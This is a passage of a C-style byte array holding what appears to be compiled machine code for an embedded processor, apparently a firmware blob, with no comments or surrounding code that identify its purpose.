0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x94, 0xc0, 0xa0, 0x01,
0xe8, 0x65, 0x00, 0x00,
0xe0, 0x86, 0x00, 0x03,
0x30, 0xa0, 0x00, 0x10,
0xa4, 0x63, 0x00, 0x3f,
0x60, 0x63, 0x00, 0x04,
0x60, 0x84, 0x01, 0x00,
0xb0, 0x00, 0x13, 0x02,
0xa0, 0x63, 0x00, 0x00,
0x80, 0x84, 0x18, 0x00,
0xe8, 0x84, 0x00, 0x00,
0xbc, 0x04, 0x00, 0x0c,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x65, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xf8,
0x10, 0xa4, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x3f,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x12,
0xa0, 0x83, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x0e,
0xbc, 0x12, 0xff, 0xf8,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x3f,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x16,
0xa0, 0x83, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x0e,
0xbc, 0x12, 0xff, 0xf8,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0xe4,
0x30, 0xa0, 0x00, 0x01,
0xe9, 0xe1, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0x94, 0xc0, 0xa0, 0x01,
0xe8, 0x65, 0x00, 0x00,
0xe0, 0x86, 0x00, 0x03,
0x30, 0xa0, 0x00, 0x01,
0xa4, 0x63, 0x00, 0x3f,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x13, 0x00,
0xa0, 0x63, 0x00, 0x00,
0x60, 0x84, 0x01, 0x00,
0x80, 0x84, 0x18, 0x00,
0xe8, 0x84, 0x00, 0x00,
0xb0, 0x00, 0x40, 0x00,
0xaa, 0x44, 0x00, 0x00,
0xbe, 0x32, 0x00, 0x20,
0x10, 0x64, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0x88,
0x80, 0x00, 0x00, 0x00,
0x10, 0x60, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xbc, 0x04, 0xff, 0xf4,
0xb8, 0x10, 0xff, 0xf0,
0x30, 0x60, 0xff, 0xff,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x66, 0x00, 0x00,
0x94, 0xc0, 0xa0, 0x01,
0xe8, 0x65, 0x00, 0x00,
0xe0, 0x86, 0x00, 0x03,
0xa4, 0x63, 0x00, 0x3f,
0x60, 0x63, 0x00, 0x04,
0x60, 0x84, 0x01, 0x00,
0xb0, 0x00, 0x11, 0x14,
0xa0, 0x63, 0x00, 0x00,
0x80, 0x84, 0x18, 0x00,
0xe8, 0x64, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x0e,
0xbc, 0x12, 0xff, 0xf8,
0xb9, 0xf4, 0xfe, 0x74,
0x10, 0xb3, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x14,
0xb9, 0xf4, 0x07, 0x18,
0x30, 0xa0, 0x00, 0x01,
0xb9, 0xf4, 0xff, 0x44,
0x10, 0xb3, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xe0,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0x94, 0x60, 0xa0, 0x01,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xfe, 0x44,
0xb9, 0xf4, 0x18, 0x30,
0x80, 0x00, 0x00, 0x00,
0xea, 0x60, 0xff, 0xff,
0xbc, 0x13, 0x00, 0x20,
0xaa, 0x53, 0x00, 0x02,
0xbe, 0x12, 0xff, 0xe4,
0x10, 0x73, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xfe, 0x58,
0xb9, 0xf4, 0x17, 0xfc,
0x80, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x06, 0xa4,
0x30, 0xa0, 0x00, 0x01,
0xb8, 0x10, 0xff, 0xd8,
0x10, 0x73, 0x00, 0x00,
0x30, 0x21, 0xff, 0xd4,
0xa4, 0x65, 0x00, 0xff,
0xfa, 0xc1, 0x00, 0x20,
0x62, 0xc3, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x96, 0x04, 0x00,
0xe8, 0x84, 0x00, 0x00,
0x12, 0xe5, 0x00, 0x00,
0xa4, 0x64, 0x00, 0x01,
0xbe, 0x03, 0x00, 0x54,
0x13, 0x06, 0x00, 0x00,
0x90, 0x64, 0x00, 0x41,
0xa6, 0x63, 0x00, 0x07,
0xaa, 0x53, 0x00, 0x01,
0xbc, 0x12, 0x00, 0x58,
0xb9, 0xf4, 0x09, 0xf0,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xa3, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xfe, 0x68,
0xb9, 0xf4, 0x08, 0x90,
0x10, 0xf3, 0x00, 0x00,
0x30, 0x60, 0x00, 0x16,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x2c,
0x90, 0x64, 0x00, 0x41,
0xa4, 0x63, 0x00, 0x07,
0xaa, 0x43, 0x00, 0x01,
0xbc, 0x12, 0x00, 0x0c,
0xb9, 0xf4, 0x05, 0xfc,
0x30, 0xa0, 0x00, 0x01,
0xbe, 0x18, 0x00, 0x2c,
0x60, 0x97, 0x00, 0x18,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x60, 0x0a, 0x44,
0x10, 0x84, 0x18, 0x00,
0xe8, 0x64, 0x00, 0x14,
0xbc, 0x03, 0x00, 0x38,
0x30, 0x63, 0xff, 0xf4,
0xa0, 0x63, 0x00, 0x14,
0xe8, 0x83, 0x00, 0x00,
0xf8, 0x98, 0x00, 0x00,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x76, 0x60, 0x00,
0xea, 0x63, 0x00, 0x00,
0xbe, 0x33, 0xff, 0x94,
0x10, 0x60, 0x00, 0x00,
0xb9, 0xf4, 0x05, 0xd4,
0x10, 0xb7, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x84,
0x10, 0x73, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x04,
0xf8, 0x78, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xd4,
0x30, 0x21, 0xff, 0xdc,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0x94, 0x80, 0xa0, 0x01,
0xb0, 0x00, 0x11, 0x00,
0xea, 0x60, 0x24, 0x00,
0xea, 0xc4, 0x00, 0x00,
0xa4, 0x73, 0x00, 0x01,
0xbc, 0x23, 0x00, 0x3c,
0x90, 0x73, 0x00, 0x41,
0xa4, 0x63, 0x00, 0xff,
0x10, 0xb6, 0x00, 0x00,
0x16, 0x43, 0xb0, 0x00,
0xbe, 0x12, 0x00, 0x10,
0x10, 0xc3, 0x00, 0x00,
0xb9, 0xf4, 0x05, 0x18,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0x10, 0x60, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x24,
0xb9, 0xf4, 0x08, 0xe0,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xa3, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xfe, 0x7c,
0xb9, 0xf4, 0x07, 0x80,
0x10, 0xf3, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xb0,
0x90, 0x73, 0x00, 0x41,
0x30, 0x21, 0xff, 0xd4,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0x94, 0x60, 0xa0, 0x01,
0xea, 0xe3, 0x00, 0x00,
0xa4, 0x97, 0x00, 0xff,
0x63, 0x04, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x00,
0xa2, 0xd8, 0x1c, 0x00,
0xea, 0x76, 0x00, 0x00,
0x60, 0x77, 0x00, 0x18,
0xa4, 0x93, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0xa3, 0x0a, 0x48,
0xbc, 0x04, 0x00, 0x34,
0xb9, 0xf4, 0x08, 0x74,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xa3, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xfe, 0x9c,
0xb9, 0xf4, 0x07, 0x14,
0x10, 0xf3, 0x00, 0x00,
0xb9, 0xf4, 0xff, 0x18,
0x80, 0x00, 0x00, 0x00,
0xea, 0x76, 0x00, 0x00,
0xa4, 0x73, 0x00, 0x01,
0xbc, 0x23, 0xff, 0xd4,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x78, 0x60, 0x00,
0xe8, 0x83, 0x00, 0x00,
0xbc, 0x24, 0x00, 0x28,
0xb9, 0xf4, 0x04, 0x8c,
0x10, 0xa0, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x2c,
0xb9, 0xf4, 0x04, 0x88,
0x10, 0xb7, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xd4,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x20,
0xe8, 0x66, 0x00, 0x00,
0x12, 0x66, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x38,
0x12, 0xe5, 0x00, 0x00,
0xb0, 0x00, 0x11, 0x00,
0xe8, 0xa0, 0x18, 0x00,
0xa4, 0x65, 0x00, 0x01,
0xbe, 0x03, 0x00, 0x38,
0x30, 0x80, 0x00, 0x0b,
0x10, 0x64, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xb0, 0x00, 0x11, 0x00,
0xe8, 0xa0, 0x14, 0x00,
0xa4, 0x65, 0x00, 0x01,
0xbe, 0x23, 0xff, 0xd8,
0x30, 0x80, 0x00, 0x0b,
0x90, 0x65, 0x00, 0x41,
0xa6, 0xc3, 0x00, 0xff,
0x10, 0xb6, 0x00, 0x00,
0xb9, 0xf4, 0x04, 0x68,
0x10, 0xd3, 0x00, 0x00,
0xbe, 0x23, 0xff, 0xbc,
0x10, 0x83, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x04,
0xaa, 0x43, 0x00, 0x01,
0xbc, 0x12, 0x01, 0xa4,
0xe8, 0xb3, 0x00, 0x14,
0x60, 0x96, 0x01, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x64, 0x00, 0x5c,
0xf8, 0xa3, 0x00, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x84, 0x00, 0x68,
0xe8, 0x64, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x01,
0xbe, 0x23, 0xff, 0x84,
0x30, 0x80, 0xff, 0xff,
0xa4, 0xb6, 0x00, 0xff,
0x62, 0x65, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x73, 0x10, 0x00,
0xe8, 0x83, 0x00, 0x00,
0xa4, 0x64, 0x00, 0x01,
0xbc, 0x03, 0x01, 0x90,
0x60, 0x65, 0x01, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x63, 0x00, 0x60,
0xe8, 0xc3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xfe, 0xc4,
0x90, 0xe6, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x90, 0xe7, 0x00, 0x41,
0x91, 0x06, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0x91, 0x08, 0x00, 0x41,
0xa4, 0xe7, 0x00, 0xff,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0x90, 0xc6, 0x00, 0x41,
0xb9, 0xf4, 0x12, 0x0c,
0xa5, 0x08, 0x00, 0x7f,
0xb9, 0xf4, 0x02, 0x68,
0x10, 0xb6, 0x00, 0x00,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x93, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x10,
0x30, 0x80, 0x00, 0x0b,
0xe8, 0xb3, 0x00, 0x08,
0x60, 0x96, 0x01, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x64, 0x00, 0x5c,
0xf8, 0xa3, 0x00, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x84, 0x00, 0x68,
0xe8, 0x64, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x01,
0xbe, 0x23, 0xfd, 0xe4,
0x30, 0x80, 0xff, 0xff,
0xb8, 0x10, 0xfe, 0x64,
0xa4, 0xb6, 0x00, 0xff,
0xfa, 0xd7, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0xd0,
0x10, 0x83, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xaa, 0x45, 0x00, 0x08,
0xbc, 0x12, 0x00, 0x8c,
0x22, 0x40, 0x00, 0x08,
0x16, 0x45, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x48,
0xaa, 0x45, 0x00, 0x0c,
0xbc, 0x12, 0x00, 0xd8,
0x22, 0x40, 0x00, 0x0c,
0x16, 0x45, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x84,
0xaa, 0x45, 0x00, 0x0e,
0xbc, 0x12, 0x01, 0x30,
0x22, 0x40, 0x00, 0x0e,
0x16, 0x52, 0x28, 0x03,
0xbc, 0x52, 0x01, 0x08,
0xaa, 0x45, 0x00, 0x0f,
0xbc, 0x12, 0x01, 0x58,
0xaa, 0x45, 0x00, 0x10,
0xbc, 0x32, 0x00, 0xa0,
0xb9, 0xf4, 0xf9, 0xac,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x00, 0x00, 0x48,
0xaa, 0x45, 0x00, 0x04,
0xbc, 0x12, 0x00, 0xa8,
0x22, 0x40, 0x00, 0x04,
0x16, 0x45, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x60,
0xaa, 0x45, 0x00, 0x06,
0xbc, 0x12, 0x00, 0xe0,
0x22, 0x40, 0x00, 0x06,
0x16, 0x45, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x9c,
0x10, 0xa6, 0x00, 0x00,
0xb9, 0xf4, 0xf8, 0x58,
0x10, 0xc7, 0x00, 0x00,
0xb8, 0x00, 0x00, 0x10,
0x10, 0xa6, 0x00, 0x00,
0xb9, 0xf4, 0xf8, 0x80,
0x10, 0xc7, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xaa, 0x45, 0x00, 0x0a,
0xbc, 0x12, 0x00, 0xcc,
0x22, 0x40, 0x00, 0x0a,
0x16, 0x45, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0x7c,
0xb9, 0xf4, 0xf8, 0x78,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xd8,
0xaa, 0x45, 0x00, 0x02,
0xbc, 0x12, 0x00, 0x9c,
0x22, 0x40, 0x00, 0x02,
0x16, 0x45, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x50,
0xaa, 0x45, 0x00, 0x01,
0xbe, 0x12, 0x00, 0xa4,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xb4,
0x30, 0x60, 0x00, 0x16,
0xb9, 0xf4, 0xf8, 0x78,
0x10, 0xa6, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb9, 0xf4, 0xfb, 0x48,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb9, 0xf4, 0xfb, 0xb8,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x7c,
0x10, 0x60, 0x00, 0x00,
0xb9, 0xf4, 0xf7, 0x74,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x6c,
0xb9, 0xf4, 0xf9, 0xb8,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x60,
0x10, 0xa6, 0x00, 0x00,
0xb9, 0xf4, 0xf9, 0x3c,
0x10, 0xc7, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x50,
0xb9, 0xf4, 0xf7, 0x7c,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x44,
0xb9, 0xf4, 0xf8, 0x4c,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x38,
0x10, 0xa6, 0x00, 0x00,
0xb9, 0xf4, 0xf9, 0xe4,
0x10, 0xc7, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x28,
0xb9, 0xf4, 0xf8, 0xa0,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x1c,
0x10, 0xc7, 0x00, 0x00,
0x10, 0xe8, 0x00, 0x00,
0xb9, 0xf4, 0xfb, 0xfc,
0x11, 0x09, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x08,
0xb9, 0xf4, 0xf8, 0x38,
0x10, 0xa6, 0x00, 0x00,
0xb8, 0x00, 0xfe, 0xfc,
0x60, 0xc6, 0x00, 0x18,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x66, 0x0a, 0x44,
0xbc, 0x03, 0x00, 0x0c,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x06, 0x0a, 0x44,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x60, 0xc6, 0x00, 0x18,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x66, 0x0a, 0x44,
0xbc, 0x03, 0x00, 0x0c,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x06, 0x0a, 0x44,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x94, 0x60, 0xa0, 0x01,
0x30, 0x83, 0x00, 0x0c,
0xe8, 0x64, 0x00, 0x00,
0xaa, 0x43, 0x00, 0x01,
0xbc, 0x32, 0xff, 0xf8,
0xf8, 0x04, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x10, 0x65, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x80, 0x0a, 0x44,
0x60, 0xa5, 0x00, 0x18,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x65, 0x20, 0x00,
0xa4, 0x63, 0x00, 0xff,
0xe8, 0xd3, 0x00, 0x0c,
0x60, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0x63, 0x00, 0x00,
0x10, 0xa6, 0x00, 0x00,
0xe8, 0x83, 0x00, 0x00,
0xbc, 0x06, 0x00, 0x0c,
0xb9, 0xf4, 0x03, 0x58,
0x80, 0x00, 0x00, 0x00,
0xf8, 0x13, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0x10, 0x60, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0x30, 0x21, 0xff, 0xd4,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0x65, 0x00, 0x00,
0x12, 0xc6, 0x00, 0x00,
0x13, 0x07, 0x00, 0x00,
0x22, 0x40, 0x00, 0xff,
0x16, 0x45, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x48,
0x12, 0xe8, 0x00, 0x00,
0xb9, 0xf4, 0x02, 0xf4,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xa3, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xfe, 0xf8,
0xb9, 0xf4, 0x01, 0x94,
0x10, 0xf3, 0x00, 0x00,
0x30, 0xe0, 0x00, 0x16,
0x10, 0x67, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x2c,
0xe8, 0xc6, 0x00, 0x10,
0xbc, 0x06, 0x00, 0xac,
0x61, 0x13, 0x00, 0x18,
0x30, 0x60, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x68, 0x0a, 0x44,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x0a, 0x44,
0xe8, 0x76, 0x00, 0x0c,
0xe8, 0x96, 0x00, 0x04,
0x10, 0xa8, 0x28, 0x00,
0xf8, 0xc5, 0x00, 0x0c,
0xf8, 0x65, 0x00, 0x10,
0xaa, 0x44, 0x00, 0x01,
0xbe, 0x12, 0x00, 0x38,
0x10, 0xe0, 0x00, 0x00,
0xf8, 0xe5, 0x00, 0x14,
0xb8, 0x10, 0xff, 0xa0,
0x10, 0x67, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x0a, 0x44,
0xe8, 0x76, 0x00, 0x0c,
0x10, 0xa8, 0x28, 0x00,
0x30, 0x80, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x10,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x88, 0x0a, 0x44,
0xf8, 0x05, 0x00, 0x0c,
0xe8, 0xd6, 0x00, 0x08,
0x30, 0x60, 0x00, 0x02,
0x10, 0xe0, 0x00, 0x00,
0x30, 0x86, 0xff, 0xf4,
0xa0, 0xa4, 0x00, 0x0c,
0xf8, 0x65, 0x00, 0x00,
0xfa, 0x66, 0xff, 0xf4,
0xa0, 0x64, 0x00, 0x10,
0xfa, 0xe3, 0x00, 0x00,
0xa0, 0x84, 0x00, 0x18,
0xfb, 0x04, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x68, 0x0a, 0x58,
0xb8, 0x10, 0xff, 0x3c,
0x10, 0x67, 0x00, 0x00,
0xe8, 0x76, 0x00, 0x04,
0xaa, 0x43, 0x00, 0x01,
0xbe, 0x12, 0xff, 0x94,
0x61, 0x05, 0x00, 0x18,
0xe8, 0xb6, 0x00, 0x0c,
0x22, 0x40, 0x00, 0x80,
0x16, 0x45, 0x90, 0x03,
0xbc, 0x52, 0x00, 0x2c,
0xb9, 0xf4, 0x01, 0xe4,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xa3, 0x00, 0x08,
0xe8, 0xf6, 0x00, 0x0c,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xc0, 0xff, 0x1c,
0xb9, 0xf4, 0x00, 0x80,
0x80, 0x00, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xf0,
0x30, 0xe0, 0x00, 0x16,
0xb9, 0xf4, 0x01, 0xf4,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x23, 0xff, 0x08,
0x10, 0xc3, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0xac,
0x80, 0x00, 0x00, 0x00,
0xe9, 0x03, 0x00, 0x08,
0xb0, 0x00, 0x00, 0x00,
0x30, 0xa0, 0xff, 0x48,
0x30, 0xe0, 0x00, 0x1d,
0xb9, 0xf4, 0x00, 0x80,
0x30, 0xc0, 0x00, 0x01,
0xb8, 0x10, 0xfe, 0xb8,
0x30, 0xe0, 0x00, 0x0c,
0x30, 0x21, 0xff, 0xe0,
0x10, 0xc0, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x41, 0xd8,
0x12, 0x65, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xe8, 0xa0, 0xff, 0x68,
0xe8, 0x65, 0x00, 0x28,
0xbc, 0x03, 0x00, 0x0c,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xf0, 0xe8,
0x10, 0xb3, 0x00, 0x00,
0xf8, 0xc1, 0x00, 0x08,
0xf8, 0xe1, 0x00, 0x0c,
0xf9, 0x01, 0x00, 0x10,
0xf9, 0x21, 0x00, 0x14,
0xf9, 0x41, 0x00, 0x18,
0x30, 0x21, 0xff, 0xe0,
0x30, 0x61, 0x00, 0x2c,
0xf9, 0xe1, 0x00, 0x00,
0xf8, 0x61, 0x00, 0x1c,
0xb9, 0xf4, 0x34, 0x50,
